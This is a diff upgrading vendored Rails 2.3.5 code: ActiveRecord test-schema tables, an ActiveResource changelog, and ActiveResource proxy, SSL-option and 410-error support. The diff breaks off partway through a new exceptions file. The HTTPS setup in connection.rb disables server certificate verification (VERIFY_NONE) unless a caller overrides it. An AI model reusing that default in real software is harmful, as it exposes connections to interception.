diff --git a/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb b/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb
index 576a4d03..3d8911bf 100644
--- a/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,7 +1,7 @@
 ActiveRecord::Schema.define do
 
   %w(postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings
-      postgresql_oids defaults geometrics).each do |table_name|
+      postgresql_oids postgresql_xml_data_type defaults geometrics).each do |table_name|
     execute "DROP TABLE  IF EXISTS #{quote_table_name table_name}"
   end
 
@@ -100,4 +100,15 @@ _SQL
     obj_id OID
   );
 _SQL
-end
\ No newline at end of file
+
+  begin
+    execute <<_SQL
+    CREATE TABLE postgresql_xml_data_type (
+    id SERIAL PRIMARY KEY,
+    data xml
+    );
+_SQL
+rescue #This version of PostgreSQL either has no XML support or is was not compiled with XML support: skipping table
+  end
+end
+
diff --git a/vendor/rails/activerecord/test/schema/schema.rb b/vendor/rails/activerecord/test/schema/schema.rb
index 6217e3bc..984c5ba9 100644
--- a/vendor/rails/activerecord/test/schema/schema.rb
+++ b/vendor/rails/activerecord/test/schema/schema.rb
@@ -23,6 +23,7 @@ ActiveRecord::Schema.define do
   # unless the ordering matters.  In which case, define them below
   create_table :accounts, :force => true do |t|
     t.integer :firm_id
+    t.string  :firm_name
     t.integer :credit_limit
   end
 
@@ -55,6 +56,11 @@ ActiveRecord::Schema.define do
     t.binary :data
   end
 
+  create_table :birds, :force => true do |t|
+    t.string :name
+    t.integer :pirate_id
+  end
+
   create_table :books, :force => true do |t|
     t.column :name, :string
   end
@@ -63,6 +69,10 @@ ActiveRecord::Schema.define do
     t.boolean :value
   end
 
+  create_table "CamelCase", :force => true do |t|
+    t.string :name
+  end
+
   create_table :categories, :force => true do |t|
     t.string :name, :null => false
     t.string :type
@@ -109,11 +119,17 @@ ActiveRecord::Schema.define do
     t.integer :rating, :default => 1
   end
 
+  add_index :companies, [:firm_id, :type, :rating, :ruby_type], :name => "company_index"
+
   create_table :computers, :force => true do |t|
     t.integer :developer, :null => false
     t.integer :extendedWarranty, :null => false
   end
 
+  create_table :contracts, :force => true do |t|
+    t.integer :developer_id
+    t.integer :company_id
+  end
 
   create_table :customers, :force => true do |t|
     t.string  :name
@@ -150,10 +166,25 @@ ActiveRecord::Schema.define do
     t.integer :course_id, :null => false
   end
 
+  create_table :essays, :force => true do |t|
+    t.string :name
+    t.string :writer_id
+    t.string :writer_type
+  end
+
+  create_table :events, :force => true do |t|
+    t.string :title, :limit => 5
+  end
+
   create_table :funny_jokes, :force => true do |t|
     t.string :name
   end
 
+  create_table :goofy_string_id, :force => true, :id => false do |t|
+    t.string :id, :null => false
+    t.string :info
+  end
+
   create_table :items, :force => true do |t|
     t.column :name, :integer
   end
@@ -195,6 +226,7 @@ ActiveRecord::Schema.define do
 
   create_table :members, :force => true do |t|
     t.string :name
+    t.integer :member_type_id
   end
 
   create_table :member_details, :force => true do |t|
@@ -210,6 +242,10 @@ ActiveRecord::Schema.define do
     t.string :type
   end
 
+  create_table :member_types, :force => true do |t|
+    t.string :name
+  end
+
   create_table :references, :force => true do |t|
     t.integer :person_id
     t.integer :job_id
@@ -247,6 +283,7 @@ ActiveRecord::Schema.define do
     t.decimal :world_population, :precision => 10, :scale => 0
     t.decimal :my_house_population, :precision => 2, :scale => 0
     t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+    t.float   :temperature
   end
 
   create_table :orders, :force => true do |t|
@@ -261,6 +298,8 @@ ActiveRecord::Schema.define do
 
   create_table :owners, :primary_key => :owner_id ,:force => true do |t|
     t.string :name
+    t.column :updated_at, :datetime
+    t.column :happy_at,   :datetime
   end
 
 
@@ -293,8 +332,10 @@ ActiveRecord::Schema.define do
   end
 
   create_table :people, :force => true do |t|
-    t.string  :first_name, :null => false
-    t.integer :lock_version, :null => false, :default => 0
+    t.string     :first_name, :null => false
+    t.references :primary_contact
+    t.string     :gender, :limit => 1
+    t.integer    :lock_version, :null => false, :default => 0
   end
 
   create_table :pets, :primary_key => :pet_id ,:force => true do |t|
@@ -343,12 +384,18 @@ ActiveRecord::Schema.define do
 
   create_table :ships, :force => true do |t|
     t.string :name
+    t.integer :pirate_id
     t.datetime :created_at
     t.datetime :created_on
     t.datetime :updated_at
     t.datetime :updated_on
   end
 
+  create_table :ship_parts, :force => true do |t|
+    t.string :name
+    t.integer :ship_id
+  end
+
   create_table :sponsors, :force => true do |t|
     t.integer :club_id
     t.integer :sponsorable_id
@@ -382,6 +429,7 @@ ActiveRecord::Schema.define do
     t.boolean  :approved, :default => true
     t.integer  :replies_count, :default => 0
     t.integer  :parent_id
+    t.string   :parent_title
     t.string   :type
   end
 
@@ -397,6 +445,11 @@ ActiveRecord::Schema.define do
     t.column :taggings_count, :integer, :default => 0
   end
 
+  create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+    t.string :name
+    t.integer :pet_id, :integer
+  end
+
   create_table :treasures, :force => true do |t|
     t.column :name, :string
     t.column :looter_id, :integer
diff --git a/vendor/rails/activeresource/CHANGELOG b/vendor/rails/activeresource/CHANGELOG
index e05a634a..272c0ab2 100644
--- a/vendor/rails/activeresource/CHANGELOG
+++ b/vendor/rails/activeresource/CHANGELOG
@@ -1,3 +1,33 @@
+*2.3.5 (November 25, 2009)*
+
+* Minor Bug Fixes and deprecation warnings
+
+* More flexible content type handling when parsing responses.
+  
+  Ensures that ARes will handle responses like test/xml, or content types
+  with charsets included.
+
+*2.3.4 (September 4, 2009)*
+
+* Add support for errors in JSON format.  #1956 [Fabien Jakimowicz]
+
+* Recognizes 410 as Resource Gone. #2316 [Jordan Brough, Jatinder Singh]
+
+* More thorough SSL support.  #2370 [Roy Nicholson]
+
+* HTTP proxy support.  #2133 [Marshall Huss, Sébastien Dabet]
+
+
+*2.3.3 (July 12, 2009)*
+
+* No changes, just a version bump.
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* Nothing new, just included in 2.3.2
+
+
 *2.2.1 [RC2] (November 14th, 2008)*
 
 * Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 [Paolo Angelini]
@@ -20,15 +50,15 @@
 
 * Fixed that to_param should be used and honored instead of hardcoding the id #11406 [gspiers]
 
-* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
 
 * Use HEAD instead of GET in exists? [bscofield]
 
-* Fix small documentation typo.  Closes #10670 [l.guidi]
+* Fix small documentation typo.  Closes #10670 [Luca Guidi]
 
 * find_or_create_resource_for handles module nesting.  #10646 [xavier]
 
-* Allow setting ActiveResource::Base#format before #site.  [rick]
+* Allow setting ActiveResource::Base#format before #site.  [Rick Olson]
 
 * Support agnostic formats when calling custom methods.  Closes #10635 [joerichsen]
 
@@ -48,9 +78,9 @@
 
 * Don't cache net/http object so that ActiveResource is more thread-safe.  Closes #10142 [kou]
 
-* Update XML documentation examples to include explicit type attributes. Closes #9754 [hasmanyjosh]
+* Update XML documentation examples to include explicit type attributes. Closes #9754 [Josh Susser]
 
-* Added one-off declarations of mock behavior [DHH]. Example:
+* Added one-off declarations of mock behavior [David Heinemeier Hansson]. Example:
 
     Before:
       ActiveResource::HttpMock.respond_to do |mock|
@@ -60,7 +90,7 @@
     Now:
       ActiveResource::HttpMock.respond_to.get "/people/1.xml", {}, "<person><name>David</name></person>"
 
-* Added ActiveResource.format= which defaults to :xml but can also be set to :json [DHH]. Example:
+* Added ActiveResource.format= which defaults to :xml but can also be set to :json [David Heinemeier Hansson]. Example:
 
     class Person < ActiveResource::Base
       self.site   = "http://app/"
@@ -81,7 +111,7 @@
 
 * Fix query methods on resources. [Cody Fauser]
 
-* pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 [alloy]
+* pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 [Eloy Duran]
 
 * Recognize and raise an exception on 405 Method Not Allowed responses.  #7692 [Josh Peek]
 
@@ -89,15 +119,15 @@
 
     Comment.find(:all, :params => { :article_id => 5, :page => 2 }) or Comment.find(:all, :params => { 'article_id' => 5, :page => 2 })
 
-* Added find-one with symbol [DHH]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
+* Added find-one with symbol [David Heinemeier Hansson]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
 
-* BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [DHH]. Changes:
+* BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [David Heinemeier Hansson]. Changes:
 
     Person.find(:all, :title => "CEO")      ...becomes: Person.find(:all, :params => { :title => "CEO" })
     Person.find(:managers)                  ...becomes: Person.find(:all, :from => :managers)
     Person.find("/companies/1/manager.xml") ...becomes: Person.find(:one, :from => "/companies/1/manager.xml")
 
-* Add support for setting custom headers per Active Resource model [Rick]
+* Add support for setting custom headers per Active Resource model [Rick Olson]
 
   class Project
     headers['X-Token'] = 'foo'
@@ -106,13 +136,13 @@
   # makes the GET request with the custom X-Token header
   Project.find(:all)
 
-* Added find-by-path options to ActiveResource::Base.find [DHH]. Examples:
+* Added find-by-path options to ActiveResource::Base.find [David Heinemeier Hansson]. Examples:
 
     employees = Person.find(:all, :from => "/companies/1/people.xml") # => GET /companies/1/people.xml
     manager   = Person.find("/companies/1/manager.xml")               # => GET /companies/1/manager.xml
 
 
-* Added support for using classes from within a single nested module [DHH]. Example:
+* Added support for using classes from within a single nested module [David Heinemeier Hansson]. Example:
 
     module Highrise
       class Note < ActiveResource::Base
@@ -127,7 +157,7 @@
   assert_kind_of Highrise::Comment, Note.find(1).comments.first
     
 
-* Added load_attributes_from_response as a way of loading attributes from other responses than just create [DHH]
+* Added load_attributes_from_response as a way of loading attributes from other responses than just create [David Heinemeier Hansson]
 
     class Highrise::Task < ActiveResource::Base
       def complete
@@ -143,18 +173,18 @@
     Person.find(:managers)    # => GET /people/managers.xml
     Kase.find(1).post(:close) # => POST /kases/1/close.xml
 
-* Remove explicit prefix_options parameter for ActiveResource::Base#initialize. [Rick]
+* Remove explicit prefix_options parameter for ActiveResource::Base#initialize. [Rick Olson]
   ActiveResource splits the prefix_options from it automatically.
 
-* Allow ActiveResource::Base.delete with custom prefix. [Rick]
+* Allow ActiveResource::Base.delete with custom prefix. [Rick Olson]
 
-* Add ActiveResource::Base#dup [Rick]
+* Add ActiveResource::Base#dup [Rick Olson]
 
-* Fixed constant warning when fetching the same object multiple times [DHH]
+* Fixed constant warning when fetching the same object multiple times [David Heinemeier Hansson]
 
-* Added that saves which get a body response (and not just a 201) will use that response to update themselves [DHH]
+* Added that saves which get a body response (and not just a 201) will use that response to update themselves [David Heinemeier Hansson]
 
-* Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" [DHH]
+* Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" [David Heinemeier Hansson]
 
 * Allow array and hash query parameters.  #7756 [Greg Spurrier]
 
@@ -176,7 +206,7 @@
 
 * Base#==, eql?, and hash methods. == returns true if its argument is identical to self or if it's an instance of the same class, is not new?, and has the same id. eql? is an alias for ==. hash delegates to id.  [Jeremy Kemper]
 
-* Allow subclassed resources to share the site info [Rick, Jeremy Kemper]
+* Allow subclassed resources to share the site info [Rick Olson, Jeremy Kemper]
 d
     class BeastResource < ActiveResource::Base
       self.site = 'http://beast.caboo.se'
@@ -259,4 +289,4 @@ d
 
 * Base.site= accepts URIs. 200...400 are valid response codes. PUT and POST request bodies default to ''. [Jeremy Kemper]
 
-* Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. [DHH]
+* Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. [David Heinemeier Hansson]
diff --git a/vendor/rails/activeresource/Rakefile b/vendor/rails/activeresource/Rakefile
index bf0634e9..ee758364 100644
--- a/vendor/rails/activeresource/Rakefile
+++ b/vendor/rails/activeresource/Rakefile
@@ -4,7 +4,6 @@ require 'rake/testtask'
 require 'rake/rdoctask'
 require 'rake/packagetask'
 require 'rake/gempackagetask'
-require 'rake/contrib/sshpublisher'
 
 require File.join(File.dirname(__FILE__), 'lib', 'active_resource', 'version')
 
@@ -28,6 +27,8 @@ task :default => [ :test ]
 # Run the unit tests
 
 Rake::TestTask.new { |t|
+  activesupport_path = "#{File.dirname(__FILE__)}/../activesupport/lib"
+  t.libs << activesupport_path if File.directory?(activesupport_path)
   t.libs << "test"
   t.pattern = 'test/**/*_test.rb'
   t.verbose = true
@@ -65,7 +66,7 @@ spec = Gem::Specification.new do |s|
     s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
   end
   
-  s.add_dependency('activesupport', '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('activesupport', '= 2.3.5' + PKG_BUILD)
 
   s.require_path = 'lib'
   s.autorequire = 'active_resource'
@@ -115,12 +116,14 @@ end
 
 desc "Publish the beta gem"
 task :pgem => [:package] do 
+  require 'rake/contrib/sshpublisher'
   Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
   `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
 end
 
 desc "Publish the API documentation"
 task :pdoc => [:rdoc] do 
+  require 'rake/contrib/sshpublisher'
   Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ar", "doc").upload
 end
 
diff --git a/vendor/rails/activeresource/lib/active_resource/base.rb b/vendor/rails/activeresource/lib/active_resource/base.rb
index bb284803..e25002b6 100644
--- a/vendor/rails/activeresource/lib/active_resource/base.rb
+++ b/vendor/rails/activeresource/lib/active_resource/base.rb
@@ -93,6 +93,8 @@ module ActiveResource
   #
   # Many REST APIs will require authentication, usually in the form of basic
   # HTTP authentication.  Authentication can be specified by:
+  #
+  # === HTTP Basic Authentication
   # * putting the credentials in the URL for the +site+ variable.
   #
   #    class Person < ActiveResource::Base
@@ -112,6 +114,19 @@ module ActiveResource
   #
   # Note: Some values cannot be provided in the URL passed to site.  e.g. email addresses
   # as usernames.  In those situations you should use the separate user and password option.
+  #
+  # === Certificate Authentication
+  #
+  # * End point uses an X509 certificate for authentication. <tt>See ssl_options=</tt> for all options.
+  #
+  #    class Person < ActiveResource::Base
+  #      self.site = "https://secure.api.people.com/"
+  #      self.ssl_options = {:cert         => OpenSSL::X509::Certificate.new(File.open(pem_file))
+  #                          :key          => OpenSSL::PKey::RSA.new(File.open(pem_file)),
+  #                          :ca_path      => "/path/to/OpenSSL/formatted/CA_Certs",
+  #                          :verify_mode  => OpenSSL::SSL::VERIFY_PEER}
+  #    end
+  #
   # == Errors & Validation
   #
   # Error handling and validation is handled in much the same manner as you're used to seeing in
@@ -138,6 +153,7 @@ module ActiveResource
   # * 404 - ActiveResource::ResourceNotFound
   # * 405 - ActiveResource::MethodNotAllowed
   # * 409 - ActiveResource::ResourceConflict
+  # * 410 - ActiveResource::ResourceGone
   # * 422 - ActiveResource::ResourceInvalid (rescued by save as validation errors)
   # * 401..499 - ActiveResource::ClientError
   # * 500..599 - ActiveResource::ServerError
@@ -158,7 +174,7 @@ module ActiveResource
   #
   # Active Resource supports validations on resources and will return errors if any these validations fail
   # (e.g., "First name can not be blank" and so on).  These types of errors are denoted in the response by
-  # a response code of <tt>422</tt> and an XML representation of the validation errors.  The save operation will
+  # a response code of <tt>422</tt> and an XML or JSON representation of the validation errors.  The save operation will
   # then fail (with a <tt>false</tt> return value) and the validation errors can be accessed on the resource in question.
   #
   #   ryan = Person.find(1)
@@ -167,10 +183,14 @@ module ActiveResource
   #
   #   # When
   #   # PUT http://api.people.com:3000/people/1.xml
+  #   # or
+  #   # PUT http://api.people.com:3000/people/1.json
   #   # is requested with invalid values, the response is:
   #   #
   #   # Response (422):
   #   # <errors type="array"><error>First cannot be empty</error></errors>
+  #   # or
+  #   # {"errors":["First cannot be empty"]}
   #   #
   #
   #   ryan.errors.invalid?(:first)  # => true
@@ -202,6 +222,8 @@ module ActiveResource
   # sets the <tt>read_timeout</tt> of the internal Net::HTTP instance to the same value. The default
   # <tt>read_timeout</tt> is 60 seconds on most Ruby implementations.
   class Base
+    ##
+    # :singleton-method:
     # The logger for diagnosing and tracing Active Resource calls.
     cattr_accessor :logger
 
@@ -244,6 +266,22 @@ module ActiveResource
         end
       end
 
+      # Gets the \proxy variable if a proxy is required
+      def proxy
+        # Not using superclass_delegating_reader. See +site+ for explanation
+        if defined?(@proxy)
+          @proxy
+        elsif superclass != Object && superclass.proxy
+          superclass.proxy.dup.freeze
+        end
+      end
+
+      # Sets the URI of the http proxy to the value in the +proxy+ argument.
+      def proxy=(proxy)
+        @connection = nil
+        @proxy = proxy.nil? ? nil : create_proxy_uri_from(proxy)
+      end
+
       # Gets the \user for REST HTTP authentication.
       def user
         # Not using superclass_delegating_reader. See +site+ for explanation
@@ -313,15 +351,42 @@ module ActiveResource
         end
       end
 
+      # Options that will get applied to an SSL connection.
+      #
+      # * <tt>:key</tt> - An OpenSSL::PKey::RSA or OpenSSL::PKey::DSA object.
+      # * <tt>:cert</tt> - An OpenSSL::X509::Certificate object as client certificate
+      # * <tt>:ca_file</tt> - Path to a CA certification file in PEM format. The file can contrain several CA certificates.
+      # * <tt>:ca_path</tt> - Path of a CA certification directory containing certifications in PEM format.
+      # * <tt>:verify_mode</tt> - Flags for server the certification verification at begining of SSL/TLS session. (OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER is acceptable)
+      # * <tt>:verify_callback</tt> - The verify callback for the server certification verification.
+      # * <tt>:verify_depth</tt> - The maximum depth for the certificate chain verification.
+      # * <tt>:cert_store</tt> - OpenSSL::X509::Store to verify peer certificate.
+      # * <tt>:ssl_timeout</tt> -The SSL timeout in seconds.
+      def ssl_options=(opts={})
+        @connection   = nil
+        @ssl_options  = opts
+      end
+
+      # Returns the SSL options hash.
+      def ssl_options
+        if defined?(@ssl_options)
+          @ssl_options
+        elsif superclass != Object && superclass.ssl_options
+          superclass.ssl_options
+        end
+      end
+
       # An instance of ActiveResource::Connection that is the base \connection to the remote service.
       # The +refresh+ parameter toggles whether or not the \connection is refreshed at every request
       # or not (defaults to <tt>false</tt>).
       def connection(refresh = false)
         if defined?(@connection) || superclass == Object
           @connection = Connection.new(site, format) if refresh || @connection.nil?
+          @connection.proxy = proxy if proxy
           @connection.user = user if user
           @connection.password = password if password
           @connection.timeout = timeout if timeout
+          @connection.ssl_options = ssl_options if ssl_options
           @connection
         else
           superclass.connection
@@ -460,7 +525,7 @@ module ActiveResource
       #   that_guy.valid? # => false
       #   that_guy.new?   # => true
       def create(attributes = {})
-        returning(self.new(attributes)) { |res| res.save }
+        self.new(attributes).tap { |resource| resource.save }
       end
 
       # Core method for finding resources.  Used similarly to Active Record's +find+ method.
@@ -555,7 +620,7 @@ module ActiveResource
           response.code.to_i == 200
         end
         # id && !find_single(id, options).nil?
-      rescue ActiveResource::ResourceNotFound
+      rescue ActiveResource::ResourceNotFound, ActiveResource::ResourceGone
         false
       end
 
@@ -598,7 +663,7 @@ module ActiveResource
         end
 
         def instantiate_record(record, prefix_options = {})
-          returning new(record) do |resource|
+          new(record).tap do |resource|
             resource.prefix_options = prefix_options
           end
         end
@@ -609,6 +674,11 @@ module ActiveResource
           site.is_a?(URI) ? site.dup : URI.parse(site)
         end
 
+        # Accepts a URI and creates the proxy URI from that.
+        def create_proxy_uri_from(proxy)
+          proxy.is_a?(URI) ? proxy.dup : URI.parse(proxy)
+        end
+
         # contains a set of the current prefix parameters.
         def prefix_parameters
           @prefix_parameters ||= prefix_source.scan(/:\w+/).map { |key| key[1..-1].to_sym }.to_set
@@ -704,6 +774,7 @@ module ActiveResource
     def new?
       id.nil?
     end
+    alias :new_record? :new?
 
     # Gets the <tt>\id</tt> attribute of the resource.
     def id
@@ -743,7 +814,7 @@ module ActiveResource
     #   # => true
     #
     def ==(other)
-      other.equal?(self) || (other.instance_of?(self.class) && !other.new? && other.id == id)
+      other.equal?(self) || (other.instance_of?(self.class) && other.id == id && other.prefix_options == prefix_options)
     end
 
     # Tests for equality (delegates to ==).
@@ -770,7 +841,7 @@ module ActiveResource
     #   my_invoice.customer   # => That Company
     #   next_invoice.customer # => That Company
     def dup
-      returning self.class.new do |resource|
+      self.class.new.tap do |resource|
         resource.attributes     = @attributes
         resource.prefix_options = @prefix_options
       end
@@ -829,7 +900,7 @@ module ActiveResource
       !new? && self.class.exists?(to_param, :params => prefix_options)
     end
 
-    # A method to convert the the resource to an XML string.
+     # Converts the resource to an XML string representation.
     #
     # ==== Options
     # The +options+ parameter is handed off to the +to_xml+ method on each
@@ -838,7 +909,14 @@ module ActiveResource
     #
     # * <tt>:indent</tt> - Set the indent level for the XML output (default is +2+).
     # * <tt>:dasherize</tt> - Boolean option to determine whether or not element names should
-    #   replace underscores with dashes (default is <tt>false</tt>).
+    #   replace underscores with dashes. Default is <tt>true</tt>. The default can be set to <tt>false</tt>
+    #   by setting the module attribute <tt>ActiveSupport.dasherize_xml = false</tt> in an initializer. Because save
+    #   uses this method, and there are no options on save, then you will have to set the default if you don't
+    #   want underscores in element names to become dashes when the resource is saved. This is important when
+    #   integrating with non-Rails applications.
+    # * <tt>:camelize</tt> - Boolean option to determine whether or not element names should be converted
+    #   to camel case, e.g some_name to SomeName. Default is <tt>false</tt>. Like <tt>:dasherize</tt> you can
+    #   change the default by setting the module attribute <tt>ActiveSupport.camelise_xml = true</tt> in an initializer.
     # * <tt>:skip_instruct</tt> - Toggle skipping the +instruct!+ call on the XML builder
     #   that generates the XML declaration (default is <tt>false</tt>).
     #
@@ -858,8 +936,7 @@ module ActiveResource
       attributes.to_xml({:root => self.class.element_name}.merge(options))
     end
 
-    # Returns a JSON string representing the model. Some configuration is
-    # available through +options+.
+    # Coerces to a hash for JSON encoding.
     #
     # ==== Options
     # The +options+ are passed to the +to_json+ method on each
@@ -883,8 +960,8 @@ module ActiveResource
     #
     #   person.to_json(:except => ["first_name"])
     #   # => {"last_name": "Smith"}
-    def to_json(options={})
-      attributes.to_json(options)
+    def as_json(options = nil)
+      attributes.as_json(options)
     end
 
     # Returns the serialized string representation of the resource in the configured
@@ -943,7 +1020,13 @@ module ActiveResource
           case value
             when Array
               resource = find_or_create_resource_for_collection(key)
-              value.map { |attrs| attrs.is_a?(String) ? attrs.dup : resource.new(attrs) }
+              value.map do |attrs|
+                if attrs.is_a?(String) || attrs.is_a?(Numeric)
+                  attrs.duplicable? ? attrs.dup : attrs
+                else
+                  resource.new(attrs)
+                end
+              end
             when Hash
               resource = find_or_create_resource_for(key)
               resource.new(value)
@@ -982,14 +1065,14 @@ module ActiveResource
 
       # Update the resource on the remote service.
       def update
-        returning connection.put(element_path(prefix_options), encode, self.class.headers) do |response|
+        connection.put(element_path(prefix_options), encode, self.class.headers).tap do |response|
           load_attributes_from_response(response)
         end
       end
 
       # Create (i.e., \save to the remote service) the \new resource.
       def create
-        returning connection.post(collection_path, encode, self.class.headers) do |response|
+        connection.post(collection_path, encode, self.class.headers).tap do |response|
           self.id = id_from_response(response)
           load_attributes_from_response(response)
         end
@@ -1003,7 +1086,7 @@ module ActiveResource
 
       # Takes a response from a typical create post and pulls the ID out
       def id_from_response(response)
-        response['Location'][/\/([^\/]*?)(\.\w+)?$/, 1]
+        response['Location'][/\/([^\/]*?)(\.\w+)?$/, 1] if response['Location']
       end
 
       def element_path(options = nil)
diff --git a/vendor/rails/activeresource/lib/active_resource/connection.rb b/vendor/rails/activeresource/lib/active_resource/connection.rb
index 273fee32..768b8c99 100644
--- a/vendor/rails/activeresource/lib/active_resource/connection.rb
+++ b/vendor/rails/activeresource/lib/active_resource/connection.rb
@@ -26,6 +26,14 @@ module ActiveResource
     def to_s; @message ;end
   end
 
+  # Raised when a OpenSSL::SSL::SSLError occurs.
+  class SSLError < ConnectionError
+    def initialize(message)
+      @message = message
+    end
+    def to_s; @message ;end
+  end
+
   # 3xx Redirection
   class Redirection < ConnectionError # :nodoc:
     def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
@@ -49,6 +57,9 @@ module ActiveResource
   # 409 Conflict
   class ResourceConflict < ClientError; end # :nodoc:
 
+  # 410 Gone
+  class ResourceGone < ClientError; end # :nodoc:
+
   # 5xx Server Error
   class ServerError < ConnectionError; end # :nodoc:
 
@@ -67,10 +78,11 @@ module ActiveResource
     HTTP_FORMAT_HEADER_NAMES = {  :get => 'Accept',
       :put => 'Content-Type',
       :post => 'Content-Type',
-      :delete => 'Accept'
+      :delete => 'Accept',
+      :head => 'Accept'
     }
 
-    attr_reader :site, :user, :password, :timeout
+    attr_reader :site, :user, :password, :timeout, :proxy, :ssl_options
     attr_accessor :format
 
     class << self
@@ -95,7 +107,12 @@ module ActiveResource
       @password = URI.decode(@site.password) if @site.password
     end
 
-    # Set user for remote service.
+    # Set the proxy for remote service.
+    def proxy=(proxy)
+      @proxy = proxy.is_a?(URI) ? proxy : URI.parse(proxy)
+    end
+
+    # Set the user for remote service.
     def user=(user)
       @user = user
     end
@@ -110,6 +127,11 @@ module ActiveResource
       @timeout = timeout
     end
 
+    # Hash of options applied to Net::HTTP instance when +site+ protocol is 'https'.
+    def ssl_options=(opts={})
+      @ssl_options = opts
+    end
+
     # Execute a GET request.
     # Used to get (find) resources.
     def get(path, headers = {})
@@ -137,7 +159,7 @@ module ActiveResource
     # Execute a HEAD request.
     # Used to obtain meta-information about resources, such as whether they exist and their size (via response headers).
     def head(path, headers = {})
-      request(:head, path, build_request_headers(headers))
+      request(:head, path, build_request_headers(headers, :head))
     end
 
 
@@ -146,11 +168,13 @@ module ActiveResource
       def request(method, path, *arguments)
         logger.info "#{method.to_s.upcase} #{site.scheme}://#{site.host}:#{site.port}#{path}" if logger
         result = nil
-        time = Benchmark.realtime { result = http.send(method, path, *arguments) }
-        logger.info "--> %d %s (%d %.2fs)" % [result.code, result.message, result.body ? result.body.length : 0, time] if logger
+        ms = Benchmark.ms { result = http.send(method, path, *arguments) }
+        logger.info "--> %d %s (%d %.0fms)" % [result.code, result.message, result.body ? result.body.length : 0, ms] if logger
         handle_response(result)
       rescue Timeout::Error => e
         raise TimeoutError.new(e.message)
+      rescue OpenSSL::SSL::SSLError => e
+        raise SSLError.new(e.message)
       end
 
       # Handles response and error codes from remote service.
@@ -172,6 +196,8 @@ module ActiveResource
             raise(MethodNotAllowed.new(response))
           when 409
             raise(ResourceConflict.new(response))
+          when 410
+            raise(ResourceGone.new(response))
           when 422
             raise(ResourceInvalid.new(response))
           when 401...500
@@ -186,10 +212,49 @@ module ActiveResource
       # Creates new Net::HTTP instance for communication with
       # remote service and resources.
       def http
-        http             = Net::HTTP.new(@site.host, @site.port)
-        http.use_ssl     = @site.is_a?(URI::HTTPS)
-        http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl
-        http.read_timeout = @timeout if @timeout # If timeout is not set, the default Net::HTTP timeout (60s) is used.
+        configure_http(new_http)
+      end
+
+      def new_http
+        if @proxy
+          Net::HTTP.new(@site.host, @site.port, @proxy.host, @proxy.port, @proxy.user, @proxy.password)
+        else
+          Net::HTTP.new(@site.host, @site.port)
+        end
+      end
+
+      def configure_http(http)
+        http = apply_ssl_options(http)
+
+        # Net::HTTP timeouts default to 60 seconds.
+        if @timeout
+          http.open_timeout = @timeout
+          http.read_timeout = @timeout
+        end
+
+        http
+      end
+
+      def apply_ssl_options(http)
+        return http unless @site.is_a?(URI::HTTPS)
+
+        http.use_ssl     = true
+        http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+        return http unless defined?(@ssl_options)
+
+        http.ca_path     = @ssl_options[:ca_path] if @ssl_options[:ca_path]
+        http.ca_file     = @ssl_options[:ca_file] if @ssl_options[:ca_file]
+
+        http.cert        = @ssl_options[:cert] if @ssl_options[:cert]
+        http.key         = @ssl_options[:key]  if @ssl_options[:key]
+
+        http.cert_store  = @ssl_options[:cert_store]  if @ssl_options[:cert_store]
+        http.ssl_timeout = @ssl_options[:ssl_timeout] if @ssl_options[:ssl_timeout]
+
+        http.verify_mode     = @ssl_options[:verify_mode]     if @ssl_options[:verify_mode]
+        http.verify_callback = @ssl_options[:verify_callback] if @ssl_options[:verify_callback]
+        http.verify_depth    = @ssl_options[:verify_depth]    if @ssl_options[:verify_depth]
+
         http
       end
 
diff --git a/vendor/rails/activeresource/lib/active_resource/exceptions.rb b/vendor/rails/activeresource/lib/active_resource/exceptions.rb
new file mode 100644
index 00000000..0631cdcf
--- /dev/null
+++ b/vendor/rails/activeresource/lib/active_resource/exceptions.rb
@@ -0,0 +1,66 @@
+module ActiveResource
+  class ConnectionError < StandardError # :nodoc:
+    attr_reader :response
+
+    def initialize(response, message = nil)
+      @response = response
+      @message  = message
+    end
+
+    def to_s
+      "Failed with #{response.code} #{response.message if response.respond_to?(:message)}"
+    end
+  end
+
+  # Raised when a Timeout::Error occurs.
+  class TimeoutError < ConnectionError
+    def initialize(message)
+      @message = message
+    end
+    def to_s; @message ;end
+  end
+
+  # Raised when a OpenSSL::SSL::SSLError occurs.
+  class SSLError < ConnectionError
+    def initialize(message)
+      @message = message
+    end
+    def to_s; @message ;end
+  end
+
+  # 3xx Redirection
+  class Redirection < ConnectionError # :nodoc:
+    def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
+  end
+
+  # 4xx Client Error
